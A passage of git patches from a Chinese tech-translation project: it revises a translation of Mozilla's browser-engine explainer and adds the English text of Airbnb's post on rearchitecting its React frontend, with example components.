-举个例子，在上述 CSS 中，我们有一条规则指定了选择器 “section”，这会匹配到 DOM 中所有 section 元素。接着，浏览器引擎会为 DOM 中的每一个元素附上样式注解。直到最后每个 DOM 元素都应用了样式，我们将该状态称为元素样式计算完毕。而当多个选择器作用在一个元素上时，源代码次序靠后的或者权重更高的 CSS 规则最终会应用到元素上。想象一下，样式表好比一层层薄薄的透写纸，一层盖一层，不同之处在于，样式表允许那些权重高的展示在最上层。（译注：此处译文追加较多……欢迎探讨……TBD）
+举个例子，在上述 CSS 中，我们有一条规则指定了选择器 “section”，这会匹配到 DOM 中所有 section 元素。接着，浏览器引擎会为 DOM 中的每一个元素附上样式注解。直到最后每个 DOM 元素都应用了样式，我们将该状态称为元素样式计算完毕。而当多个选择器作用在一个元素上时，源代码次序靠后的或者权重更高的 CSS 规则最终会应用到元素上。可以认为样式表是层叠的薄透写纸，上层覆盖下层，但同时也能让下层透过上层显示出来。
 
 一旦浏览器引擎计算好了样式，接下来就要派上用场了！布局引擎接下来会接手 DOM 和已计算的样式，并且会考虑待绘制布局所在的窗口大小。然后布局引擎会分析该元素应用的所有样式，并通过各种算法将每个元素绘制在一个个内容盒子中。
 
@@ -104,19 +104,19 @@ img {
 
 ## Web 标准 ##
 
-不同浏览器解释 HTML、CSS 和 JavaScript 的方式也不一样。这就产生了各种影响：小到细微的视觉差异，大到不同浏览器的兼容性问题。近年来在现代互联网中，大多数网站在不同浏览器下似乎都表现的不错，而且也没有关注用户具体使用的是什么浏览器。那么，不同浏览器又是如何达到这种程度的一致性体验呢？
+不同浏览器解释 HTML、CSS 和 JavaScript 的方式也不一样。这就产生了各种影响：小到细微的视觉差异，大到用户无法在某些浏览器上正常浏览网站。近年来在现代互联网中，大多数网站在不同浏览器下似乎都表现的不错，而且也没有关注用户具体使用的是什么浏览器。那么，不同浏览器又是如何达到这种程度的一致性体验呢？
 
 网站代码的格式，以及代码的解释规则、页面的渲染规则都是由一种由多方认可的文件定义的，即 Web 标准。来自浏览器厂商、Web 开发者、设计师等行业成员的代表组成的委员会制定了这些标准文档。他们一起确定了对于给定的代码片段，浏览器引擎应该显示的明确行为。Web 标准包括 [HTML、CSS 和 JavaScript 标准](https://developer.mozilla.org/en-US/docs/Web_Standards)以及图像、视频、音频等数据格式的标准。
 
-为什么说 Web 标准是重要的？因为只要保证遵循了 Web 标准，就有可能开发出一个全新的浏览器引擎，而且绘制出互联网上数以亿计的网页的方法和其他浏览器完全一致。这也意味着在某些浏览器中才能运作的“秘密配方”不再是秘密了（译者注：例如，不再需要 CSS 私有前缀）。另外，正因为 Web 标准的存在，用户可以凭自己的喜好挑选浏览器。
+为什么说 Web 标准是重要的？因为只要保证遵循了 Web 标准，就可以开发出一个全新的浏览器引擎，这个引擎可以处理互联网上数以亿计的网页，并绘制出和其它浏览器一样的结果。这也意味着在某些浏览器中才能运作的“秘密配方”不再是秘密了（译者注：例如，不再需要 CSS 私有前缀）。另外，正因为 Web 标准的存在，用户可以凭自己的喜好挑选浏览器。
 
 ## 摩尔定律的终结 ##
 
-恐龙时代，人们只要有台式电脑就够了。这曾经是一个相对保守的假设：计算机只会变得更快更强大。这个想法是基于[摩尔定律](https://en.wikipedia.org/wiki/Moore%27s_law)的推测：集成电路上可容纳的元器件的数目，约每隔 2 年便会增加一倍（因此半导体芯片的性能也将提升一倍、体积也将缩小一倍）。令人难以置信的是，这种趋势一直持续到了 21 世纪并且有人认为这一定律仍然适用于当今最前沿的研究。那么为什么在过去十年中，计算机的平均运算速度似乎已经趋于稳定了？
+ 过去，人们只有台式电脑。曾经有一个相对保守的假设：计算机只会变得更快更强大。这个想法是基于[摩尔定律](https://en.wikipedia.org/wiki/Moore%27s_law)的推测：集成电路上可容纳的元器件的数目，约每隔 2 年便会增加一倍（因此半导体芯片的性能也将提升一倍、体积也将缩小一倍）。令人难以置信的是，这种趋势一直持续到了 21 世纪，并且有人认为这一定律仍然适用于当今最前沿的研究。那么为什么在过去十年中，计算机的平均运算速度似乎已经趋于稳定了？
 
-顾客买电脑的时候不单单考虑运行速度，毕竟速度快的电脑很可能非常耗电、非常容易发热还非常贵！有时候人们想要一台电池状况良好的笔记本电脑。有时候呢，人们又想要一个微型的触屏电脑，带摄像头，又足够小到可以塞进口袋里，并且电量足够用一天！计算能力的进步已经让这成为可能（真的很惊人！），不过代价就是运行速度下降。正如你在飙车的时候无法有效（或者说安全）地控制行车路线，你也无法让电脑超负荷计算的同时处理大量任务。现在的解决方案都是借助于单 CPU 多核。因此，现在智能手机普遍都有 4 个较小、较弱的计算核心。
+顾客买电脑的时候不单单考虑运行速度，毕竟速度快的电脑很可能非常耗电、非常容易发热还非常贵！有时候人们想要一台续航时间良好的笔记本电脑。有时候呢，人们又想要一个微型的触屏电脑，带摄像头，又小到可以塞进口袋，并且电量足够用一天！计算能力的进步已经让这成为可能（真的很惊人！），不过代价就是运行速度下降。正如你在飙车的时候无法有效（或者说安全）地控制行车路线，你也无法让电脑超负荷计算的同时处理大量任务。现在的解决方案都是借助于单 CPU 多核。因此，现在智能手机普遍都有 4 个较小、较弱的计算核心。
 
-不幸的是，过去的浏览器设计在速度方面的上升轨迹也有点趋于平稳。另外，编写能够充分利用多核 CPU 的代码也是**极为**复杂的。所以，我们该如何在这个到处都是小型计算机的时代，开发一款高速又高效的浏览器呢？
+不幸的是，过去的浏览器设计是基于摩尔定律（性能提升）会继续有效的假设。另外，编写能够充分利用多核 CPU 的代码也是**极为**复杂的。所以，我们该如何在这个到处都是小型计算机的时代，开发一款高速又高效的浏览器呢？
 
 我们已经想到了！
 

From 628d4319094c2bad4c908cdf7a7610a441072d6f Mon Sep 17 00:00:00 2001
From: Dalston Xu <xxdalston@gmail.com>
Date: Tue, 16 May 2017 17:00:43 +0800
Subject: [PATCH 470/638] =?UTF-8?q?=E5=8E=BB=E6=8E=89=E6=8B=AC=E5=8F=B7?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/quantum-up-close-what-is-a-browser-engine.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/TODO/quantum-up-close-what-is-a-browser-engine.md b/TODO/quantum-up-close-what-is-a-browser-engine.md
index 11c24d94d4a..a77c6ad6e14 100644
--- a/TODO/quantum-up-close-what-is-a-browser-engine.md
+++ b/TODO/quantum-up-close-what-is-a-browser-engine.md
@@ -1,3 +1,4 @@
+
 > * 原文地址：[Quantum Up Close: What is a browser engine?](https://hacks.mozilla.org/2017/05/quantum-up-close-what-is-a-browser-engine/)
 > * 原文作者：[Potch](http://potch.me/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
@@ -50,7 +51,7 @@ Quantum 是项目的代号，Mozilla 启动这个项目是为了大幅度升级
 
 > 嗯，这里有个章节。在这个章节里有个一级标题，这个标题包含的文本内容是 “Hello!”。另外在这个章节中，还有一张图片。这个图片的数据从这里获取：http://example.com/image.png
 
-网页在浏览器内存中的结构被称为[文档对象模型](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction)，简称 DOM。DOM 以元素树的形式来表示页面结构，（而非长文本形式），包括：每个元素各自的属性以及元素间的嵌套关系。
+网页在浏览器内存中的结构被称为[文档对象模型](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction)，简称 DOM。DOM 以元素树的形式来表示页面结构，而非长文本形式，包括：每个元素各自的属性以及元素间的嵌套关系。
 
 [![A diagram showing the nesting of HTML elements](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)
 

From 11a73299778661e55ecc5e552375f0bb06bea2b9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 16 May 2017 21:18:40 +0800
Subject: [PATCH 471/638] Create rearchitecting-airbnbs-frontend.md

---
 TODO/rearchitecting-airbnbs-frontend.md | 501 ++++++++++++++++++++++++
 1 file changed, 501 insertions(+)
 create mode 100644 TODO/rearchitecting-airbnbs-frontend.md

diff --git a/TODO/rearchitecting-airbnbs-frontend.md b/TODO/rearchitecting-airbnbs-frontend.md
new file mode 100644
index 00000000000..0e8e2a0ba06
--- /dev/null
+++ b/TODO/rearchitecting-airbnbs-frontend.md
@@ -0,0 +1,501 @@
+> * 原文地址：[Rearchitecting Airbnb’s Frontend](https://medium.com/airbnb-engineering/rearchitecting-airbnbs-frontend-5e213efc24d2)
+> * 原文作者：[Adam Neary](https://medium.com/@AdamRNeary)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Rearchitecting Airbnb’s Frontend #
+
+Overview: We recently rethought the architecture for the JavaScript side of our codebase at Airbnb. This post will look at (1) the product drivers that precipitated the changes, (2) the steps we took to move away from our legacy Rails solutions, and (3) some of the key pillars of the new stack. *Bonus: We’ll talk about what’s next!*
+
+
+Airbnb sees more than 75 million searches each day, which makes the search page our highest traffic page. For nearly ten years, engineers have evolved, enhanced, and optimized the way that Rails delivers the page.
+
+Recently, we moved into verticals beyond Homes, [introducing Experiences and Places](https://www.airbnb.com/new) . As a part of bringing these new products to web, we took the time to rethink the search experience itself.
+
+![](https://cdn-images-1.medium.com/max/800/1*VMRwDmHVeYC3YnJhhtKn4Q.gif)
+
+Transitioning between routes for a broad search
+
+Rather than navigating from our landing page at [www.airbnb.com](http://www.airbnb.com) (1) to a search results page (2) to a single listing (3) to the booking flow (4)— *each page delivered standalone via Rails* — we want the user experience to be fluid, adjusting what the user is experiencing as they explore and narrow their search.
+
+![](https://cdn-images-1.medium.com/max/800/1*epBwi0kxrcW5a6Wv-T4rSg.gif)
+
+Designs exploring search from three states: New User, Returning User, and Marketing Marquee
+
+Navigating across tabs and interacting with listings should feel luxurious and effortless. In fact, today there is nothing stopping us from delivering an experience on par with native applications on small and medium screens.
+
+![](https://cdn-images-1.medium.com/max/800/1*y_gKoEDVvBvJpGq7hfcr_g.gif)
+
+Future concept for navigating between tabs, considering async-loaded of content
+
+To tee up this type of experience, we needed to break free of the legacy page-by-page approach that got us here, and in the end we wound up with a fundamental rearchitecting of our Frontend code.
+
+[Leland Richardson](https://medium.com/@intelligibabble) [recently spoke at React Conf about React Native in the “brownfield” of an existing, high traffic native application](https://www.youtube.com/watch?v=tWitQoPgs8w) . This article will examine how we undertook a dramatic upgrade with similar constraints, but on the web. Hopefully you find it useful if you find yourself in a similar place!
+
+### Breaking Free from Rails ###
+
+Before firing up the barbecue for all the fun [Progressive Web App](https://developers.google.com/web/progressive-web-apps/) work on our roadmap, we needed to separate from Rails (or at least the way we use Rails at Airbnb in delivering standalone pages).
+
+Unfortunately, only a matter of months ago, our search page contained some very old code…like, *Lord of the Rings*, touch-that-at-your-peril old. Fun fact: I once replaced a small [Handlebars](http://handlebarsjs.com/) template backed by a Rails presenter with a simple React component, and suddenly things were breaking in entirely separate parts of the page — even in our API response! Turns out, the presenter was mutating the backing Rails model, which had been impacting all downstream data for years, even when the UI wasn’t being rendered.
+
+In short, we were in this project like Indiana Jones swapping the idol for a bag of sand, and immediately the temple starts collapsing, and we’re running from a boulder.
+
+#### Step 1: Aligning on API Data ####
+
+When Rails is server-rendering your page, you can get away with throwing data at your server-rendered React components any way you like. Controllers, helpers, and presenters can produce data of any shape, and even as you migrate sections of the page to React, each component can consume whatever data it requires.
+
+But once you endeavor to render the route client-side, you need to be able to request the data you need dynamically and in a predetermined shape. In the future, we may crack this problem with something like [GraphQL](http://graphql.org/), but let’s set that aside for now, as it wasn’t an option when this refactor took place. Rather, we chose to align on a “v2” of our API, and we needed all our components to begin consuming that canonical data shape.
+
+If you find yourself in similar waters with a large application, you might find as we did that planning for the migration of existing server-side data plumbing was the easy part. Simply step through any place Rails is rendering a React component, and ensure that data inputs are API shapes. You can further validate compliance with API V2 shapes used as React PropTypes on the client.
+
+The tricky bit for us was working with all the teams who interact with the guest booking flow: our Business Travel, Growth, and Vacation Rentals teams; our China and India market-specific teams, Disaster Recovery…the list goes on, and we needed to reeducate all these folks that even though it was technically possible to pass data directly to the component being rendered (“yes, I understand it’s just an experiment, but…”), *all data* needs to go through the API.
+
+#### Step 2: Non-API Data: Config, Experiments, Phrases, L10n, I18n… ####
+
+There is a separate class of data from what we would think of as API data, and it includes application config, user-specific experiment assignment, internationalization, localization, and similar concerns. Over the years, Airbnb has built up some incredible tooling to support all these functions, but the mechanisms for delivering them to the Frontend were a bit under-baked (or possibly fully-baked when built, before the ground began shifting under foot!).
+
+We use [Hypernova](https://www.npmjs.com/package/hypernova) to server-render React, but before we went deep on this refactor, it was a bit nebulous whether experiment delivery in a React component would blow up during server-rendering or if string translations available on the client would all be reliably available on the server. Critically, if the server and client output don’t match to the bit, the page not only flashes the diff but also re-renders the entire page after load, which is terrible for performance.
+
+Worse yet, we had some magical Rails functions written long ago, for instance `add_bootstrap_data(key, value)`, which could ostensibly be called anywhere in Rails to make data available on the client globally via `BootstrapData.get(key)`(though, again, not necessarily for Hypernova). What began as a helpful utility for a small team became a source of untraceable witchcraft for a large application and team. The “data laundering” crimes became increasingly tricky to unwind, as each team owns a different page or feature, and therefore each team cultivated a different mechanism for loading config, each suiting their unique needs.
+
+Clearly, this was already breaking down, so we converged on a canonical mechanism for bootstrapping non-API data, and we began migrating all apps/pages to this handoff between Rails and React/Hypernova.
+
+```
+import React, { PropTypes } from 'react';
+import { compose } from 'redux';
+
+import AirbnbUser from '[our internal user management library]';
+import BootstrapData from '[our internal bootstrap library]';
+import Experiments from '[our internal experiment library]';
+import KillSwitch from '[our internal kill switch library]';
+import L10n from '[our internal l10n library]';
+import ImagePaths from '[our internal CDN pipeline library]';
+import withPhrases from '[our internal i18n library]';
+import { forbidExtraProps } from '[our internal propTypes library]';
+
+const propTypes = forbidExtraProps({
+  behavioralUid: PropTypes.string,
+  bootstrapData: PropTypes.object,
+  experimentConfig: PropTypes.object,
+  i18nInit: PropTypes.object,
+  images: PropTypes.object,
+  killSwitches: PropTypes.objectOf(PropTypes.bool),
+  phrases: PropTypes.object,
+  userAttributes: PropTypes.object,
+});
+
+const defaultProps = {
+  behavioralUid: null,
+  bootstrapData: {},
+  experimentConfig: {},
+  i18nInit: null,
+  images: {},
+  killSwitches: {},
+  phrases: {},
+  userAttributes: null,
+};
+
+function withHypernovaBootstrap(App) {
+  class HypernovaBootstrap extends React.Component {
+    constructor(props) {
+      super(props);
+
+      const {
+        behavioralUid,
+        bootstrapData,
+        experimentConfig,
+        i18nInit,
+        images,
+        killSwitches,
+        userAttributes,
+      } = props;
+
+      // clear out bootstrap data on the server to avoid leaking data
+      if (!global.document) {
+        BootstrapData.clear();
+      }
+      BootstrapData.extend(bootstrapData);
+      ImagePaths.extend(images);
+
+      // It is not safe to call L10n.init with empty object in tests
+      if (i18nInit) {
+        L10n.init(i18nInit);
+      }
+
+      if (userAttributes) {
+        AirbnbUser.setCurrent(userAttributes);
+      }
+
+      if (userAttributes && behavioralUid) {
+        Experiments.initializeGlobalConfiguration({
+          experiments: experimentConfig,
+          userId: userAttributes.id,
+          visitorId: behavioralUid,
+        });
+      } else {
+        Experiments.setExperiments(experimentConfig);
+      }
+
+      KillSwitches.extend(killSwitches);
+    }
+
+    render() {
+      // Ideally, we only want to pass through bootstrapData. If you have redux or alt data from
+      // the server to bootstrap, you can actually pass that data as a key in bootstrapData.
+      //
+      // Other props are consumed and not passed to the app.
+      return <App bootstrapData={this.props.bootstrapData} />;
+    }
+  }
+
+  Bootstrap.propTypes = propTypes;
+  Bootstrap.defaultProps = defaultProps;
+  const wrappedComponentName = App.displayName || App.name || 'Component';
+  Bootstrap.displayName = `withHypernovaBootstrap(${wrappedComponentName})`;
+
+  return Bootstrap;
+}
+
+export default compose(withPhrases, withHypernovaBootstrap);
+```
+
+A canonical higher order component for bootstrapping non-API data
+
+This higher order component does two very important things:
+
+1. It receives a canonical shape of bootstrap data as a Plain Old JavaScript Object, and initializes all the supporting tooling correctly both for server-rendering and client-rendering identically.
+2. It swallows everything except `bootstrapData`, another simple object which we expect `<App>`to load into Redux to be used by children as needed (in place of `BootstrapData.get`).
+
+In a single shot, we eliminated `add_bootstrap_data` and prevented engineers from passing arbitrary keys through to top level React components. Order was restored to the shire, and before long we were navigating to routes dynamically in the client and rendering content of material complexity without Rails to prop it up (pun intended).
+
+### Super-Charging the Frontend ###
+
+Server rework in hand, we now turn our gaze to the client.
+
+#### The Lazy-Loaded Single Page App ####
+
+Gone are the days, friends, of the monster Single Page App (SPA) with a gruesome loading spinner on initialization. This dreaded loading spinner was the objection many folks raised when we pitched the idea of client-side routing with React Router.
+
+![](https://cdn-images-1.medium.com/max/800/1*O2fK16vfyWaDT-IR61drPw.png)
+
+Lazy loading of route bundles in the Chrome Timeline
+
+But if you look above, you’ll see the impact of [code-splitting](https://webpack.github.io/docs/code-splitting.html) and [lazy-loading](https://webpack.js.org/guides/lazy-load-react/) bundles by route. In essence, we server render the page and deliver just the bare minimum JavaScript required to make it interactive in the browser, then we begin proactively downloading the rest when the browser is idle.
+
+On the Rails side, we have one controller for all routes delivered via the SPA. Each action is simply responsible for (1) making whatever API request the client would have made on client-side navigation, then (2) bootstrapping that data to Hypernova along with config. We went from thousands of lines of Ruby code per action (between the controller, helpers, and presenters) down to ~20–30 lines. Yahtzee.
+
+But it’s not just code that is noticeably different…
+
+![](https://cdn-images-1.medium.com/max/800/1*EpKNHdS4Xzl9fRdGekUgEA.gif)
+
+Side-by-side comparison fetching Homes for Tokyo: Legacy page load vs client-side routing (4–5x difference)
+
+…now transitions between routes are smooth as butter and a step change (~5x) faster, and we can break ground on the animations featured at the beginning of this post.
+
+#### AsyncComponent ####
+
+Prior to React, we would render an entire page at a time, and this practice carried over into our early React days. But we use an AsyncComponent similar to [this](https://medium.com/@thejameskyle/react-loadable-2674c59de178) as a way to load sections of the component hierarchy after mount.
+
+```
+export default class AsyncComponent extends React.Component {
+  constructor(props) {
+    super(props);
+    this.state = {
+      Component: null,
+    };
+  }
+
+  componentDidMount() {
+    this.props.loader().then((Component) => {
+      this.setState({ Component });
+    });
+  }
+
+  render() {
+    const { Component } = this.state;
+    // `loader` prop unused. It is extracted so we don't pass it down to wrapped component
+    // eslint-disable-next-line no-unused-vars
+    const { renderPlaceholder, placeholderHeight, loader, ...rest } = this.props;
+    if (Component) {
+      return <Component {...rest} />;
+    }
+
+    return renderPlaceholder ?
+      renderPlaceholder() :
+      <WrappedPlaceholder height={placeholderHeight} />;
+  }
+}
+
+
+AsyncComponent.propTypes = {
+  // specifically loader is a function that returns a promise. The promise
+  // should resolve to a renderable React component.
+  loader: PropTypes.func.isRequired,
+  placeholderHeight: PropTypes.number,
+  renderPlaceholder: PropTypes.func,
+};
+```
+
+This is particularly useful for heavy elements that aren’t initially visible, like Modals and Panels. Our explicit goal is to ship precisely the JavaScript required to initially render the visible portion of the page and make it interactive, not one line more. This has also meant that if, for example, teams want to use D3 for a chart in a modal on a page that doesn’t otherwise use D3, they can weigh the “cost” of downloading that library as part of their modal code in isolation from the rest of the page.
+
+Best of all, it is this simple to use anywhere it is needed:
+
+```
+import React from 'react';
+import AsyncComponent from '../../../components/AsyncComponent';
+import scheduleAsyncLoad from '../../../utils/scheduleAsyncLoad';
+
+function mapLoader() {
+  return new Promise((resolve) => {
+    if (process.env.LAZY_LOAD) {
+      return airPORT('./Map', 'HomesSearchMap')
+         .then(x => x.default || x);
+    }
+  });
+}
+
+export function scheduleMapLoad() {
+ scheduleAsyncLoad(searchResultsMapLoader);
+}
+
+export default function MapAsync(props) {
+  return <AsyncComponent loader={mapLoader} {...props} />;
+}
+view raw
+```
+
+Here we can simply swap out the synchronous version of our map for an async version, which is particularly useful on small breakpoint, where the map is displayed via user interaction with a button. Since most of these users are on phones, getting them to interactive before worrying about Google Maps comes with a tasty boost in page load time.
+
+Also, note the `scheduleAsyncLoad()` utility, which requests the bundle in advance of user interaction. Since the map is so frequently used, we don’t need to wait for user interaction to request it. Instead, we can enqueue it when you get to the Homes Search route. If the user does request it prior to download, they see a reasonable `<Loader />` until the component is available. No sweat.
+
+The final benefit of this approach is that `HomesSearch_Map` becomes a named bundle that the browser can cache. As we disaggregate larger route-based bundles, the slowly-changing sections of the app remain untouched across updates, further saving JavaScript download time.
+
+#### Building Accessibility into our Design Language #### 
+
+Doubtless it warrants a dedicated post, but we have begun building our internal component library with Accessibility enforced as a hard constraint. In the coming months, we will have replaced all UI across the guest flow that is incompatible with screen readers.
+
+```
+import React, { PropTypes } from 'react';
+
+import { forbidExtraProps } from 'airbnb-prop-types';
+
+import CheckBox from '../CheckBox';
+import FlexBar from '../FlexBar';
+import Label from '../Label';
+import HideAt from '../HideAt';
+import ShowAt from '../ShowAt';
+import Spacing from '../Spacing';
+import Text from '../Text';
+import CheckBoxOnly from '../../private/CheckBoxOnly';
+import toggleArrayItem from '../../utils/toggleArrayItem';
+
+import ROOM_TYPES from '../../constants/roomTypes';
+
+const propTypes = forbidExtraProps({
+  id: PropTypes.string.isRequired,
+  roomTypes: PropTypes.arrayOf(PropTypes.oneOf(ROOM_TYPES.map(roomType => roomType.filterKey))),
+  onUpdate: PropTypes.func,
+});
+
+const defaultProps = {
+  roomTypes: [],
+  onUpdate() {},
+};
+
+export default function RoomTypeFilter({ id, roomTypes, onUpdate }) {
+  return (
+    <div>
+      {ROOM_TYPES.map(({ id: roomTypeId, filterKey, iconClass: IconClass, title, subtitle }) => {
+        const inputId = `${id}-${roomTypeId}-Checkbox`;
+        const titleId = `${id}-${roomTypeId}-title`;
+        const subtitleId = `${id}-${roomTypeId}-subtitle`;
+        const selected = roomTypes.includes(filterKey);
+        const checkbox = (
+          <Spacing top={0.5} right={1}>
+            <CheckBoxOnly
+              id={inputId}
+              describedById={subtitleId}
+              name={`${roomTypeId}-only`}
+              checked={selected}
+              onChange={() => onUpdate({ roomTypes: toggleArrayItem(roomTypes, filterKey) })}
+            />
+          </Spacing>
+        );
+        return (
+          <div key={roomTypeId}>
+            <ShowAt breakpoint="mediumAndAbove">
+              <Label htmlFor={inputId}>
+                <FlexBar align="top" before={checkbox} after={<IconClass size={28} />}>
+                  <Spacing right={2}>
+                    <div id={titleId}>
+                      <Text light>{title}</Text>
+                    </div>
+                    <div id={subtitleId}>
+                      <Text small light>{subtitle}</Text>
+                    </div>
+                  </Spacing>
+                </FlexBar>
+              </Label>
+            </ShowAt>
+            <HideAt breakpoint="mediumAndAbove">
+              <Spacing vertical={2}>
+                <CheckBox
+                  id={roomTypeId}
+                  name={roomTypeId}
+                  checked={selected}
+                  label={title}
+                  onChange={() => onUpdate({ roomTypes: toggleArrayItem(roomTypes, filterKey) })}
+                  subtitle={subtitle}
+                />
+              </Spacing>
+            </HideAt>
+          </div>
+        );
+      })}
+    </div>
+  );
+}
+RoomTypeFilter.propTypes = propTypes;
+RoomTypeFilter.defaultProps = defaultProps;
+```
+
+An example of building accessibility into our product through our design language system
+
+The UI is rich enough that we want to associate a CheckBox not only with a title, but also a subtitle using `aria-describedby`. To achieve this requires a unique identifier in the DOM, which means enforcing a required ID as a prop that any calling parents need to provide. These are the types of hard constraints the UI can impose to ensure that if a component is used in the product, it is delivered with accessibility built in.
+
+The code above also demonstrates our responsive utilities HideAt and ShowAt, which allow us to dramatically alter what the user experiences at different screen sizes without having to hide and show using CSS. This leads to much leaner pages.
+
+#### Getting Surgical and Philosophical about State ####
+
+No Frontend post would be complete without touching on the debate about how to handle app state.
+
+We use Redux for all API data and “globals” like authentication state and experiment configurations. Personally, I like [redux-pack](https://github.com/lelandrichardson/redux-pack) for async. Your mileage may vary.
+
+However, with all the complexity on the page—particularly around Search—it doesn’t work to use Redux for low-level user interactions like form elements. We found that no matter how we optimized, the Redux loop was going to make typing in inputs feel inadequately responsive.
+
+![](https://cdn-images-1.medium.com/max/600/1*12LgecpKz8HA2e2evkYacw.png)
+
+Our Room Type Filter (code featured above)
+
+So we use component local state for everything the user does up until it triggers a route changes or a network interaction, and we haven’t had any problems.
+
+At the same time, I like the feel of a Redux container component, and we found that even with local state, we could build Higher Order Components that could be shared. A great example is with our filters. Search for [homes in Detroit](https://www.airbnb.com/s/Detroit--MI--United-States/homes), and you’ll find a few different panels on the page, each operating independently, that can modify your search. Across various breakpoints, there are actually dozens of components that need to know the currently-applied search filters and how to update them, both temporarily during user interaction and officially once accepted by the user.
+
+```
+import React, { PropTypes } from 'react';
+import { connect } from 'react-redux';
+
+import SearchFiltersShape from '../../shapes/SearchFiltersShape';
+import { isDirty } from '../utils/SearchFiltersUtils';
+
+function mapStateToProps({ exploreTab }) {
+  const {
+    responseFilters,
+  } = exploreTab;
+
+  return {
+    responseFilters,
+  };
+}
+
+export const withFiltersPropTypes = {
+  stagedFilters: SearchFiltersShape.isRequired,
+  responseFilters: SearchFiltersShape.isRequired,
+  updateFilters: PropTypes.func.isRequired,
+  clearFilters: PropTypes.func.isRequired,
+};
+
+export const withFiltersDefaultProps = {
+  stagedFilters: {},
+  responseFilters: {},
+  updateFilters() {},
+  clearFilters() {},
+};
+
+export default function withFilters(WrappedComponent) {
+  class WithFiltersHOC extends React.Component {
+    constructor(props) {
+      super(props);
+      this.state = {
+        stagedFilters: props.responseFilters,
+      };
+    }
+
+    componentWillReceiveProps(nextProps) {
+      if (isDirty(nextProps.responseFilters, this.props.responseFilters)) {
+        this.setState({ stagedFilters: nextProps.responseFilters });
+      }
+    }
+
+    render() {
+      const { responseFilters } = this.props;
+      const { stagedFilters } = this.state;
+      return (
+        <WrappedComponent
+          {...this.props}
+          stagedFilters={stagedFilters}
+          updateFilters={({ updateObj, keysToRemove }, callback) => {
+            const newStagedFilters = omit({ ...stagedFilters, ...updateObj }, keysToRemove);
+            this.setState({
+              stagedFilters: newStagedFilters,
+            }, () => {
+              if (callback) {
+                // setState callback can be called before withFilter state
+                // propagates to child props.
+                callback(newStagedFilters);
+              }
+            });
+          }}
+          clearFilters={() => {
+            this.setState({
+              stagedFilters: responseFilters,
+            });
+          }}
+        />
+      );
+    }
+  }
+
+  const wrappedComponentName = WrappedComponent.displayName
+    || WrappedComponent.name
+    || 'Component';
+
+  WithFiltersHOC.WrappedComponent = WrappedComponent;
+  WithFiltersHOC.displayName = `withFilters(${wrappedComponentName})`;
+  if (WrappedComponent.propTypes) {
+    WithFiltersHOC.propTypes = {
+      ...omit(WrappedComponent.propTypes, 'stagedFilters', 'updateFilters', 'clearFilters'),
+      responseFilters: SearchFiltersShape,
+    };
+  }
+  if (WrappedComponent.defaultProps) {
+    WithFiltersHOC.defaultProps = { ...WrappedComponent.defaultProps };
+  }
+
+  return connect(mapStateToProps)(WithFiltersHOC);
+}
+```
+
+Here we have a neat trick. Every component that needs to interact with filters can be wrapped with this HOC, and you’re done. It even comes with prop types. Each component wires into the *responseFilters* (those associated with the currently-displayed results) from Redux but keeps a local stagedFilters object available for modification.
+
+By tackling state this way, interacting with our Price Slider has no impact on the rest of the page, so performance is great. But all filters panels are implemented with the same function signatures, so development is simple.
+
+### What’s Next? ###
+
+Now that the grizzly legwork of catching the Frontend up with the present is largely in hand, we can turn our attention to the future.
+
+- [AMP](https://www.ampproject.org/) versions of all pages in the core booking flow will lead to sub-second (in some cases) *Time To Interactive* from Google search on mobile web, and many of the the changes required to get there will drive dramatic improvements in P50/P90/P95 cold load times across mobile web and desktop web alike.
+- [PWA](https://developers.google.com/web/progressive-web-apps/) functionality will lead to sub-second (in some cases) *Time To Interactive* for returning visitors and will open the door to offline-first functionality so very critical to users with flaky connections.
+- Dropping the final hammer on legacy tech/frameworks will cut bundle sizes in half. It’s not flashy work, but finally ripping out jQuery, Alt, Bootstrap, Underscore, and all external CSS requests (they block rendering, and 97% of the rules are unused!) will streamline not only the code we ship, but also the footprint of what new hires need to learn as they ramp up.
+- Finally, the yeoman’s work of manually bird-dogging rendering bottlenecks, async-loading code not visible at initial render, avoiding unnecessary re-renders, and reducing the cost of re-renders. These improvements are the difference between a clunky feeling app and a well-oiled machine.
+
+Tune in next time as we chase down these opportunities. Since so many of the wins will have immediate quantitative impact, we will try to capture some of the specific wins in subsequent posts.
+
+*Naturally, if you enjoyed reading this and thought this was an interesting challenge, we are always looking for talented, curious people to [join the team](https://www.airbnb.com/careers/departments/engineering) . Or, if you just want to talk shop, hit me up on twitter any time [@adamrneary](https://twitter.com/AdamRNeary)*
+
+Finally, huge props to [Salih Abdul-Karim](https://twitter.com/therealsalih) and [Hugo Ahlberg](https://twitter.com/hugoahlberg) , the experience designers behind the face-melting animations I still can’t stop ogling. The list of many engineers deserving kudos for their role in this effort is indescribably long but most certainly includes Nick Sorrentino, [Joe Lencioni](https://medium.com/@lencioni) , [Michael Landau](https://medium.com/@mikeland86), Jack Zhang, Walker Henderson, and Nico Moschopoulos.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 0809220281e5fe1bef445b80577e3abbd24f1d32 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E7=8E=8B=E6=96=87=E6=98=8E?= <wangwenming@chemanman.com>
